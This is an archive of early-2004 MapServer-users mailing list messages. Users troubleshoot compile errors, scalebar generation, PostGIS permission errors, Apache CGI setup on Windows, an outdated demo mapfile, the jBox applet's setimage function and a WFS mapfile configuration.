$ ./configure --with-gd=/usr/local --with-proj=/usr/local --with-gdal=/usr/local/bin/gdal-config


 


I got this error message when I did "make":


 


$ make
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR      -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP
  -DUSE_GDAL     -I/usr/local/include  -I/usr/local/include     -I./regex-0.12
 -I/usr/local/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg  -L
/lib -lpng -L/lib -lz    -ltiff -ljpeg  -L/lib -lpng -L/lib -lz   -L/usr/local/l
ib -lproj -ljpeg   -L/usr/local/lib -lgdal.1.1        -lm   -o shp2img
./libmap.a(mapogr.o)(.text+0x1db):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1


 


any help please...thanks alot in advance...


--teoman

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-980122251-1075160040=:42918--


From steve.lime at dnr.state.mn.us  Mon Jan 26 15:33:20 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 26 Jan 2004 17:33:20 -0600
Subject: [Mapserver-users] scalebar params.
Message-ID: 

In the dbox example I used the values for mapext to facilitate caching
of scalebars. The logic is that that when panning why bother generating
a new scalebar, one is valid wherever you move. So the javascript you
mention below does just that. It looks at the overall dimension of the
map relative to 0,0, and when panning the second two numbers don't
change. Computationally it's the same as sending the raw extent. Granted
generating a scalebar is trivial compared to a map, but every little bit
helps I guess. 

The technique works fine for me here. Are you getting javascript
errors? What version of MapServer? 

Steve

>>> "Jason M. Nielsen"  1/23/2004 3:08:49
PM >>>
Wondering if someone might give me a link to detailed information about
how to
create scalebar when calling mapserv directly. ie: The parameters and
their
effects.  Or perhaps give me a little lesson here in the list.

I have been playing with the dBox stuff and Im having problems getting
the
scalebar to generate differently or should I say correctly.

http://192.168.168.201/cgi-bin/mapserv?map=/var/www/html/mymstest/utc.map&mode=scalebar&mapext=0+0+20160+20160&mapsize=600+600


Thats one example of what is being sent.  The later two numbers in
mapext change
on each zoom but the numbers on the scalebar refuse to change.  Its
always:

0 ----  58 ---- 116mi

What exactly causes this scale to change or how is it calculated?

The above link was generated via:

 document.scalebar_miles.src = MapServer + "?map=" + ms.mapfile +
"&mode=scalebar&mapext=0+0+" + (ms.extent[2] - ms.extent[0]) + "+" +
(ms.extent[3] - ms.extent[1]) + "&mapsize=" + ms.width + "+" +
ms.height;


Thanks, Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/ 
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From nacional at cbs.umn.edu  Mon Jan 26 15:54:50 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Mon, 26 Jan 2004 17:54:50 -0600
Subject: [Mapserver-users] MapServer and PostGIS Connection, tip #9
In-Reply-To: <1075151928.3765.11.camel@localhost>
References: <3FC4483968B5A048BBD9F3387EBFF5C05C6F67@XMAIL1.sooner.net.ou.edu>
 <4014CAC6.8010708@cerene.fr>  <1075151928.3765.11.camel@localhost>
Message-ID: <1075161290.5025.111.camel@localhost>

I forgot to add to a previous post so am posting this separately...

If you run into a MapServer error when using a PostGIS layer, and you
are sure that your CONNECTIONSTRING and DATA syntax are correct, check
the postgresql.log for connection problems.  If you don't have a log
file, please consult the PostgreSQL manual at
http://www.postgresql.org/docs/7.2/interactive/runtime-config.html#LOGGING on how to create one. 

Note: If you're using postgres other than version 7.2, replace "7.2" on
the url above with the proper PostgreSQL version number (eg: 7.3 or
7.4).

Example of errors from postgresql.log:
ERROR:  permission denied for relation geometry_columns
CONTEXT:  PL/pgSQL function "find_srid" line 27 at select into variables
ERROR:  permission denied for relation geometry_columns
CONTEXT:  PL/pgSQL function "find_srid" line 27 at select into variables
ERROR:  permission denied for relation geometry_columns
CONTEXT:  PL/pgSQL function "find_srid" line 27 at select into variables
ERROR:  permission denied for relation geometry_columns
CONTEXT:  PL/pgSQL function "find_srid" line 27 at select into variables
ERROR:  permission denied for relation geometry_columns
CONTEXT:  PL/pgSQL function "find_srid" line 27 at select into variables
---

The errors above tell me I don't have SELECT previlege on the table
"geometry_columns".  This can be fixed by GRANTing SELECT ON the_table
TO the user or the PUBLIC. (Yes, the SQL statement is "GRANT SELECT ON
geometry_columns TO PUBLIC;")

The error below is self-explanatory:
FATAL:  user "msuser" does not exist
---

Use CREATEUSER or change to an existing user.  

There may be other errors not directly related to MapServer and PostGIS
but rather to PostgreSQL.  Reading PostgreSQL's excellent documentation
is highly recommended.

Perhaps the PostGIS and MapServer folks can add this to their docs/FAQ?

-Perry N.


On Mon, 2004-01-26 at 15:18, Pericles S. Nacionales wrote:
> Stephane,
> 
> First try using the postgres account on your CONNECTIONSTRING and see if
> it works.  If it does, go back to your database and run GRANT SELECT ON
>  TO PUBLIC run it for every table you want to use in
> MapServer (and perhaps to the SPATIAL_REF_SYS and the
> GEOMETRY_COLUMNS).  Now change your user back to what it was you used
> before and see if it works.
> 
> If that still doesn't fix it, try one of these:
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00331.html
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00334.html
> 
> 
> Good luck!
> -Perry N.
> 
> 
> On Mon, 2004-01-26 at 02:07, St?phane RIFF wrote:
> > I don't want to upgrade to 3.7 i wan't the 3.6.7 version... and i didn't 
> > use templates and CGI all the application is in PHPMapscripts.
> > 
> > Swaminathan, Gayathri wrote:
> > 
> > >Stephane:
> > >
> > >Did anyone answer your question at all? Well if you are still wondering what went wrong, the "Migration guide" in Wiki explains this problem
> > >
> > >In order to enforce some security the previous CGI param has been changed. It will be only be accessible if you set DATAPATTERN .
> > >
> > >Also search for DATAPATTERN in archive, there are tons of information related to this problem
> > >
> > >HTH,
> > >Gayathri
> > >
> > >-----Original Message-----
> > >From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of St?phane RIFF
> > >Sent: Tuesday, January 20, 2004 3:23 AM
> > >To: mapserver
> > >Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
> > >
> > >
> > >I use Postgres 7.2 and postgis 0.7.5, php 4.3.2....
> > >
> > >I tried to upgrade phpmapscript from 3.6.5 to 3.6.7 and my application 
> > >doesn't work anymore.
> > >I get an error from postgresql :
> > >
> > >   *    Warning: MapServer Error in prep_DB(): Error executing POSTGIS 
> > >DECLARE (the actual query)     statement: 'DECLARE mycursor BINARY 
> > >CURSOR FOR SELECT 
> > >asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
> > >giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
> > >1616618.5,1203176.624 2677218.5)'::BOX3D, 
> > >find_srid('','giscontourfrance','the_geom') )'
> > >
> > >Postgresql reports the error ''
> > >*
> > >But when i launch this query from phpPgAdmin :
> > >
> > >    *SELECT 
> > >asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
> > >giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
> > >1616618.5,1203176.624 2677218.5)'::BOX3D, 
> > >find_srid('','giscontourfrance','the_geom') )*
> > >
> > >It works....
> > >
> > >Can someone point me to use mapserver 3.6.7 because i want to upgrade 
> > >postgresql 7.2.4 to 7.3.*
> > >and only 3.6.7 support pgsql 7.3 ( I don't want to upgrade to mapserver 
> > >4.0.1 now)
> > >
> > >Thanks
> > >
> > >_______________________________________________
> > >Mapserver-users mailing list
> > >Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > >
> > >
> > >  
> > >
> > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
"He's no geek.His tan's too good." -Benjamin Choate




From piccola at syuro.cside.com  Mon Jan 26 18:38:29 2004
From: piccola at syuro.cside.com (piccola)
Date: Tue, 27 Jan 2004 11:38:29 +0900
Subject: [Mapserver-users] mapserver demo problems
Message-ID: <200401270239.i0R2dEAP028221@lists.gis.umn.edu>

Hello everyone.

I know ,this problem is famous.
But ,I cannot fix.

I write here something that I changed my settings.
Please teach me , How to fix.

------------------------------------------
*problem*
On client PC.
The browser(IE) indicate 'http://localhost/gis/demo_init.html'.
I click the button 'initialize'.
Then... The browser indicated next message.
|msLoadMap(): General error message. Undefined overlay symbol "symbols/ctyhwy.gif" in class |0, style 0 of layer ctyrdln3_anno. 
|msAddImageSymbol(): General error message. Unable to load GIF symbol. 

-------------------------------------------
*What I changed*
-made all PNG image from gif.And I set png-files(s) to same folder.
-edited some text that the word 'gif' change to 'png'.
 (about *.pl  *.html  Entries)
-------------------------------------------

But.....
Error message do NOT change.
How do I fix ?



--------------------------
OS        :Fedora Core 1
httpd     :Apache 2.0.48
MAPSERVER :Ver4.0.1
--------------------------



From gis at balkanu.com.au  Mon Jan 26 19:21:58 2004
From: gis at balkanu.com.au (Balkanu GIS)
Date: Tue, 27 Jan 2004 13:21:58 +1000
Subject: [Mapserver-users] (newbie): Win32 Apache error when	callingMapserv.exe
In-Reply-To: <1075154080.4005.23.camel@localhost>
Message-ID: <000001c3e484$b9d8e040$566b110a@cydn.net.au>

Thank you again Tyler & Pericles,

I changed "Options All MultiViews" to "Options ExecCGI" without apparent
success, but commenting out the ... block did the
trick! The unfortunate thing is that I don't know why...

Nevertheless Mapserve.exe was able to respond. Having opened
".../ms_demo/demo_init.html" and clicked on "Initialize" to send the
starting parameters to MapServer, I am presented with the error:
"msLoadMap(): Unable to access file. (/maps/ms_demo/demo.map)"

I suppose this is most likely a permissions error, again probably a result
of my mauling of httpd.conf. The file is most certainly in that location,
but cannot be opened. I'm supposing that the function "msLoadMap()" is
contained in the MapServer application.

Should I be allowing localhost/127.0.01 access to "/maps/ms_demo/" through
httpd.conf?

-Yuri

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Pericles S.
Nacionales
Sent: Tuesday, 27 January 2004 07:55
To: Tyler Mitchell
Cc: Balkanu GIS; Mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] (newbie): Win32 Apache error when
callingMapserv.exe


Tyler,

Thanks for coming back to this.  I found a few more inconsistencies with the
configuration file.  Those last two lines might actually be ok--there might
be a beginning  tag somewhere above the beginning of
the snippet Yuri sent us.

What I would try then, Yuri, is comment out the  block:

...


#
#  Sethandler perl-script
#  PerlHandler Apache::Registry
#  PerlSendHeader On
#  
  Options All MultiViews
    AllowOverride None
        Order deny,allow
        Allow from all
    
...

Oh, one more thing...  Perhaps this is all you need to do.  Change "Options
All MultiViews" to "Options ExecCGI".  Hah!  I just saw the line above.  I
bet that's all you need to do.

-Perry

On Mon, 2004-01-26 at 14:10, Tyler Mitchell wrote:
> 
> 
> 
> I'm always cutting/pasting apache.conf directory code, do his cgi-bin 
> properties look good to go with executables?
> 
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/23/2004 12:09:29 
> AM:
> 
> > Yuri,
> >
> > Check the last two lines of your apache config snippet...
> >
> > >     
> > > 
> >
> > If this is how they appear in your config file, switch them.
> >
> >   
> > 
> >
> > This could be the cause of your problem.
> >
> > > If not, something is wrong with your executable.  But then again 
> > > it
> could
> > > just
> > > be permission problems.  Or perhaps you've locked down your 
> > > CGI-BIN directory so that only scripts with certain extensions 
> > > would run?
> >
> > -Perry N.
> >
> > --
> > "He's no geek.His tan's too good." -Benjamin Choate
> >
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> _______________________________________________
> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
"He's no geek.His tan's too good." -Benjamin Choate

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users





From nacional at cbs.umn.edu  Mon Jan 26 22:04:53 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Tue, 27 Jan 2004 00:04:53 -0600
Subject: [Mapserver-users] (newbie): Win32 Apache error
 when	callingMapserv.exe
In-Reply-To: <000001c3e484$b9d8e040$566b110a@cydn.net.au>
References: <000001c3e484$b9d8e040$566b110a@cydn.net.au>
Message-ID: <1075183493.6569.46.camel@localhost>

Yuri,

I'd recommend leaving the options to "ExecCGI" only...  unless you plan
to show everyone what files are in your cgi-bin directory.

As for the mod_perl module bit, it's telling apache to allow only perl
scripts to be executed.  You let the other executables run by commenting
it out.  I suggest moving the mod_perl module block to a section on its
own--perhaps at the end of the configuration file.  This way, apache
would still be able to handle mod_perl scripts.

As for your mapfile, mapserv.exe is accessing your mapfile locally and
not through the Web.  So, make sure you're pointing to your local path
(i.e. C:/directory/to/mapfile.map) and not the alias (virtual directory)
in apache.  What you need to do is edit demo_init.html and replace the
line: 
with: 

You also want to make sure that your imagepath and imageurl are like
these:



Lastly, make sure that everyone can read and write (but not execute) on
C:/phpdev/www/tmp/.  Now reload demo_init.html...

Good luck!
-Perry

On Mon, 2004-01-26 at 21:21, Balkanu GIS wrote:
> Thank you again Tyler & Pericles,
> 
> I changed "Options All MultiViews" to "Options ExecCGI" without apparent
> success, but commenting out the ... block did the
> trick! The unfortunate thing is that I don't know why...
> 
> Nevertheless Mapserve.exe was able to respond. Having opened
> ".../ms_demo/demo_init.html" and clicked on "Initialize" to send the
> starting parameters to MapServer, I am presented with the error:
> "msLoadMap(): Unable to access file. (/maps/ms_demo/demo.map)"
> 
> I suppose this is most likely a permissions error, again probably a result
> of my mauling of httpd.conf. The file is most certainly in that location,
> but cannot be opened. I'm supposing that the function "msLoadMap()" is
> contained in the MapServer application.
> 
> Should I be allowing localhost/127.0.01 access to "/maps/ms_demo/" through
> httpd.conf?
> 
> -Yuri
> 
> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Pericles S.
> Nacionales
> Sent: Tuesday, 27 January 2004 07:55
> To: Tyler Mitchell
> Cc: Balkanu GIS; Mapserver-users at lists.gis.umn.edu
> Subject: RE: [Mapserver-users] (newbie): Win32 Apache error when
> callingMapserv.exe
> 
> 
> Tyler,
> 
> Thanks for coming back to this.  I found a few more inconsistencies with the
> configuration file.  Those last two lines might actually be ok--there might
> be a beginning  tag somewhere above the beginning of
> the snippet Yuri sent us.
> 
> What I would try then, Yuri, is comment out the  mod_perl.c> block:
> 
> ...
> 
> 
> #
> #  Sethandler perl-script
> #  PerlHandler Apache::Registry
> #  PerlSendHeader On
> #  
>   Options All MultiViews
>     AllowOverride None
>         Order deny,allow
>         Allow from all
>     
> ...
> 
> Oh, one more thing...  Perhaps this is all you need to do.  Change "Options
> All MultiViews" to "Options ExecCGI".  Hah!  I just saw the line above.  I
> bet that's all you need to do.
> 
> -Perry
> 
> On Mon, 2004-01-26 at 14:10, Tyler Mitchell wrote:
> > 
> > 
> > 
> > I'm always cutting/pasting apache.conf directory code, do his cgi-bin 
> > properties look good to go with executables?
> > 
> > mapserver-users-admin at lists.gis.umn.edu wrote on 01/23/2004 12:09:29 
> > AM:
> > 
> > > Yuri,
> > >
> > > Check the last two lines of your apache config snippet...
> > >
> > > >     
> > > > 
> > >
> > > If this is how they appear in your config file, switch them.
> > >
> > >   
> > > 
> > >
> > > This could be the cause of your problem.
> > >
> > > > If not, something is wrong with your executable.  But then again 
> > > > it
> > could
> > > > just
> > > > be permission problems.  Or perhaps you've locked down your 
> > > > CGI-BIN directory so that only scripts with certain extensions 
> > > > would run?
> > >
> > > -Perry N.
> > >
> > > --
> > > "He's no geek.His tan's too good." -Benjamin Choate
> > >
> > > _______________________________________________
> > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > 
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
"He's no geek.His tan's too good." -Benjamin Choate



From gis at balkanu.com.au  Mon Jan 26 22:04:43 2004
From: gis at balkanu.com.au (Balkanu GIS)
Date: Tue, 27 Jan 2004 16:04:43 +1000
Subject: [Mapserver-users] (newbie): Win32 Apache error
 whencallingMapserv.exe
In-Reply-To: <000001c3e484$b9d8e040$566b110a@cydn.net.au>
Message-ID: <000301c3e49b$75c8e5f0$566b110a@cydn.net.au>

Derr...

Original error was a problem with the path. Fixed path by changing the line
in demo_init.html from "/maps/ms_demo/demo_init.html" to
"../maps/ms_demo/demo_init.html" and am now presented with the following
error:
msLoadMap(): Unknown Identifier. Parsing Error near (SHADESET):(Line 7)

Either I am over one hurdle and am at another, or I have specified the path
incorrectly again. 

Any thoughts? Please forgive my cluelessness!

Yuri 

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Balkanu GIS
Sent: Tuesday, 27 January 2004 13:22
To: nacional at cbs.umn.edu; 'Tyler Mitchell'
Cc: Mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] (newbie): Win32 Apache error
whencallingMapserv.exe


Thank you again Tyler & Pericles,

I changed "Options All MultiViews" to "Options ExecCGI" without apparent
success, but commenting out the ... block did the
trick! The unfortunate thing is that I don't know why...

Nevertheless Mapserve.exe was able to respond. Having opened
".../ms_demo/demo_init.html" and clicked on "Initialize" to send the
starting parameters to MapServer, I am presented with the error:
"msLoadMap(): Unable to access file. (/maps/ms_demo/demo.map)"

I suppose this is most likely a permissions error, again probably a result
of my mauling of httpd.conf. The file is most certainly in that location,
but cannot be opened. I'm supposing that the function "msLoadMap()" is
contained in the MapServer application.

Should I be allowing localhost/127.0.01 access to "/maps/ms_demo/" through
httpd.conf?

-Yuri

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Pericles S.
Nacionales
Sent: Tuesday, 27 January 2004 07:55
To: Tyler Mitchell
Cc: Balkanu GIS; Mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] (newbie): Win32 Apache error when
callingMapserv.exe


Tyler,

Thanks for coming back to this.  I found a few more inconsistencies with the
configuration file.  Those last two lines might actually be ok--there might
be a beginning  tag somewhere above the beginning of
the snippet Yuri sent us.

What I would try then, Yuri, is comment out the  block:

...


#
#  Sethandler perl-script
#  PerlHandler Apache::Registry
#  PerlSendHeader On
#  
  Options All MultiViews
    AllowOverride None
        Order deny,allow
        Allow from all
    
...

Oh, one more thing...  Perhaps this is all you need to do.  Change "Options
All MultiViews" to "Options ExecCGI".  Hah!  I just saw the line above.  I
bet that's all you need to do.

-Perry

On Mon, 2004-01-26 at 14:10, Tyler Mitchell wrote:
> 
> 
> 
> I'm always cutting/pasting apache.conf directory code, do his cgi-bin
> properties look good to go with executables?
> 
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/23/2004 12:09:29
> AM:
> 
> > Yuri,
> >
> > Check the last two lines of your apache config snippet...
> >
> > >     
> > > 
> >
> > If this is how they appear in your config file, switch them.
> >
> >   
> > 
> >
> > This could be the cause of your problem.
> >
> > > If not, something is wrong with your executable.  But then again
> > > it
> could
> > > just
> > > be permission problems.  Or perhaps you've locked down your
> > > CGI-BIN directory so that only scripts with certain extensions 
> > > would run?
> >
> > -Perry N.
> >
> > --
> > "He's no geek.His tan's too good." -Benjamin Choate
> >
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> _______________________________________________
> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
"He's no geek.His tan's too good." -Benjamin Choate

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From nacional at cbs.umn.edu  Mon Jan 26 22:27:14 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Tue, 27 Jan 2004 00:27:14 -0600
Subject: [Mapserver-users] (newbie): Win32 Apache error
 whencallingMapserv.exe
In-Reply-To: <000301c3e49b$75c8e5f0$566b110a@cydn.net.au>
References: <000301c3e49b$75c8e5f0$566b110a@cydn.net.au>
Message-ID: <1075184834.25992.13.camel@localhost>

Dude!  It looks like you're using an old version of the demo.  SHADESET
has long gone where things sent to /dev/null has gone.  Try downloading
the demo from here: 

http://cvs.gis.umn.edu/dist/itasca3.5.tar.gz 

Or if you're using MapServer 4, then download
http://maps.dnr.state.mn.us/mapserver_demos/workshop.zip

Also, checkout http://hypnos.cbs.umn.edu/projects/tutorial/ if you
haven't yet.

Cheers!
-Perry


On Tue, 2004-01-27 at 00:04, Balkanu GIS wrote:
> Derr...
> 
> Original error was a problem with the path. Fixed path by changing the line
> in demo_init.html from "/maps/ms_demo/demo_init.html" to
> "../maps/ms_demo/demo_init.html" and am now presented with the following
> error:
> msLoadMap(): Unknown Identifier. Parsing Error near (SHADESET):(Line 7)
> 
> Either I am over one hurdle and am at another, or I have specified the path
> incorrectly again. 
> 
> Any thoughts? Please forgive my cluelessness!
> 
> Yuri 




From ms57 at streamyx.com  Mon Jan 26 22:25:10 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Tue, 27 Jan 2004 14:25:10 +0800
Subject: [Mapserver-users] jBox applet - setimage
Message-ID: <001301c3e49e$51067810$11395edb@steve>

This is a multi-part message in MIME format.

--Boundary_(ID_XBepBJAPiDSFkOW+QEbpVg)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

I've been corresponding with Richard Greenwood on this issue, but also thought I would throw it out and see if anyone has had any luck.

I'm on Win2K adn IIS. I am trying to implement the "swap image" function in the jBox applet in order to avoid a full page reload. Here is my javascript function to test to see if it works - 

function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
  document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " + maxy;
  document.mapserv.imgxy.value = minx + " " + miny;
  var url;
  url = "/cgi-bin/mapserv?map=C%3A%5CInetpub%5Cwwwroot%5Cdemo.map&layer=lakespy2&layer=dlgstln2&layer=roads&zoomsize=2&program=%2Fcgi-bin%2Fmapserv.exe&map_web_imagepath=C%3A%5Cinetpub%5Cwwwroot%5Ctmp%5C&map_web_imageurl=%2Ftmp%2F";
  document.jBox.setimage(url);
   }

==========================
Here is my applet - 


 
 
 
 
 
============================

The busy iamge does appear when I zoom in but then the map image does not get updated. In fact the mapserv.exe does not even generate the gif files and put them in the tmp directory. In the jBox.java code, the setimage() function does call the reset_handler function, but it appears not actualy to get called.

Any help on this would be great.

Steve



--Boundary_(ID_XBepBJAPiDSFkOW+QEbpVg)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









I've been corresponding with Richard Greenwood on 
this issue, but also thought I would throw it out and see if anyone has had any 
luck.


 


I'm on Win2K adn IIS. I am trying to implement the 
"swap image" function in the jBox applet in order to avoid a full page reload. 
Here is my javascript function to test to see if it works - 


 


function setbox_handler(name, minx, miny, maxx, 
maxy, redraw) {
  document.mapserv.imgbox.value = minx + " " + miny 
+ " " + maxx + " " + maxy;
  document.mapserv.imgxy.value = minx + 
" " + miny;
  var url;
  url = 
"/cgi-bin/mapserv?map=C%3A%5CInetpub%5Cwwwroot%5Cdemo.map&layer=lakespy2&layer=dlgstln2&layer=roads&zoomsize=2&program=%2Fcgi-bin%2Fmapserv.exe&map_web_imagepath=C%3A%5Cinetpub%5Cwwwroot%5Ctmp%5C&map_web_imageurl=%2Ftmp%2F";
  document.jBox.setimage(url);
   }


 


==========================


Here is my applet - 


 


<applet codebase="/Java/jBox" code="jBox.class" 
width=[mapwidth] height=[mapheight] name="jBox" MAYSCRIPT>
 <param 
name="image" value="http://[host][img]">
 <PARAM NAME="jitter" 
VALUE="10">
 <PARAM NAME="thickness" 
VALUE="2">
 <PARAM NAME="busyimage" 
VALUE="http://localhost/graphics/making_your_map.gif">


 </applet>


============================


 


The busy iamge does appear when I zoom in but then 
the map image does not get updated. In fact the mapserv.exe does not even 
generate the gif files and put them in the tmp directory. In the jBox.java code, 
the setimage() function does call the reset_handler function, but it appears not 
actualy to get called.


 


Any help on this would be great.


 


Steve



--Boundary_(ID_XBepBJAPiDSFkOW+QEbpVg)--


From ThrorII at web.de  Tue Jan 27 07:05:42 2004
From: ThrorII at web.de (Bernd Huber)
Date: Tue, 27 Jan 2004 16:05:42 +0100
Subject: [Mapserver-users] WFS Question (empty output?)
Message-ID: <200401271505.i0RF5gQ04201@mailgate5.cinetic.de>

Hello,

I am trying to build a WFS Service.
I am testing it by integrating it into a Client-Mapfile.
There is no Error Message, but the WFS Layer is not displayed.

A GML File is created in the temp-Directory:
(http___rockslide_cgi_bin_mapserv4_mapserv_exe_map_h__bhuber_www_wfs_serv1_map_SERVICE_WFS_VERSION_1_0_0_TYPENAME_flaechen_REQUEST_GetFeature_BBOX_3416131_016000_5460597_889890_3450017_016000_5487702_393890.tmp.gml)






Any ideas how I get this to work properly?



(I am using the precompiled Win32-binaries of Mapserver 4.0)

The Mapfile of the WFS Server looks like this:

NAME Planung
EXTENT 3412053 5426930 3468373 5510792
UNITS METERS
SHAPEPATH "h:\bhuber\www\data"

WEB
  METADATA
      "wfs_title"                  "WMS Demo Regionalplan Rheinpfalz"
      "wfs_onlineresource"   "http://rockslide/cgi-bin/mapserv4/mapserv.exe?map=h:\bhuber\www\wfs_serv1.map"
      "wfs_srs"                   "EPSG:31467"
      "ows_schemas_location"      "http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd"
      "wfs_geometry_element_name" "flaechen"
  END
END


PROJECTION
"init=epsg:31467"
END


LAYER 
  #PROJECTION
  # "init=epsg:31467"
  #END
  METADATA
      "wfs_title"                  "Flaeche"
      "wfs_srs"                   "EPSG:31467"
  END

  DUMP true

  NAME "Regionsflaeche"
  DATA regionsflaeche
  STATUS default
  TYPE POLYGON

  CLASS
    COLOR 255 255 217
  END 
END

LAYER 
  #PROJECTION
  # "init=epsg:31467"
  #END
  METADATA
      "wfs_title"                  "Wald"
      "wfs_srs"                   "EPSG:31467"
  END
  
  DUMP true
  
  NAME "Wald"
  DATA wald
  STATUS default
  TYPE POLYGON
  CLASS
    NAME 'Wald'
    COLOR 220 250 204
  END 
END

END


---------------------------------------


Client-Mapfile:

[..]

LAYER
  NAME Hintergrund
  TYPE POLYGON
  STATUS default
  CONNECTIONTYPE WFS
  CONNECTION "http://rockslide/cgi-bin/mapserv4/mapserv.exe?map=h:\bhuber\www\wfs_serv1.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=flaechen"

  METADATA
    "wfs_connectiontimeout" "20"
    "wfs_latlonboundingbox" "7 48 9 50"
  END

  PROJECTION
    "init=epsg:31467"
  END

  CLASS
   COLOR 0 200 0
  END



______________________________________________________________________________
Erdbeben im Iran: Zehntausende Kinder brauchen Hilfe. UNICEF hilft den
Kindern - helfen Sie mit! https://www.unicef.de/spe/spe_03.php



From rich at greenwoodmap.com  Tue Jan 27 07:14:54 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Tue, 27 Jan 2004 08:14:54 -0700
Subject: [Mapserver-users] jBox applet - setimage
In-Reply-To: <001301c3e49e$51067810$11395edb@steve>
References: <001301c3e49e$51067810$11395edb@steve>
Message-ID: <4016806E.8080008@greenwoodmap.com>

Steve McCrone wrote:

> I've been corresponding with Richard Greenwood on this issue, but also 
> thought I would throw it out and see if anyone has had any luck.
>  
> I'm on Win2K adn IIS. I am trying to implement the "swap image" function 
> in the jBox applet in order to avoid a full page reload. Here is my 
> javascript function to test to see if it works -
>  
> function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
>   document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " + 
> maxy;
>   document.mapserv.imgxy.value = minx + " " + miny;
>   var url;
>   url = 
> "/cgi-bin/mapserv?map=C%3A%5CInetpub%5Cwwwroot%5Cdemo.map&layer=lakespy2&layer=dlgstln2&layer=roads&zoomsize=2&program=%2Fcgi-bin%2Fmapserv.exe&map_web_imagepath=C%3A%5Cinetpub%5Cwwwroot%5Ctmp%5C&map_web_imageurl=%2Ftmp%2F";
>   document.jBox.setimage(url);
>    }
>  
> ==========================
> Here is my applet -
>  
>  height=[mapheight] name="jBox" MAYSCRIPT>
>  
>  
>  
>   VALUE="http://localhost/graphics/making_your_map.gif">
>  
> ============================
>  
> The busy iamge does appear when I zoom in but then the map image does 
> not get updated. In fact the mapserv.exe does not even generate the gif 
> files and put them in the tmp directory. In the jBox.java code, the 
> setimage() function does call the reset_handler function, but it appears 
> not actualy to get called.
>  
> Any help on this would be great.
>  
> Steve
> 

Steve,

Now that I am awake, I have tested setimage() and find that it works 
correctly. A key thing with setimage() is that the mode=map. This causes 
mapserv.exe to pass the image directly to the applet (jBox) without 
writing a file to the server's disk. The applet is acutually calling 
mapserv.exe directly, and then displaying the image that mapserv generates.

This behavior differs from the way we create pages with the template 
files and saved image files, so you need to come at it a little differently.

Try pruning down your var url from above to something like this:
/cgi-bin/mapserv
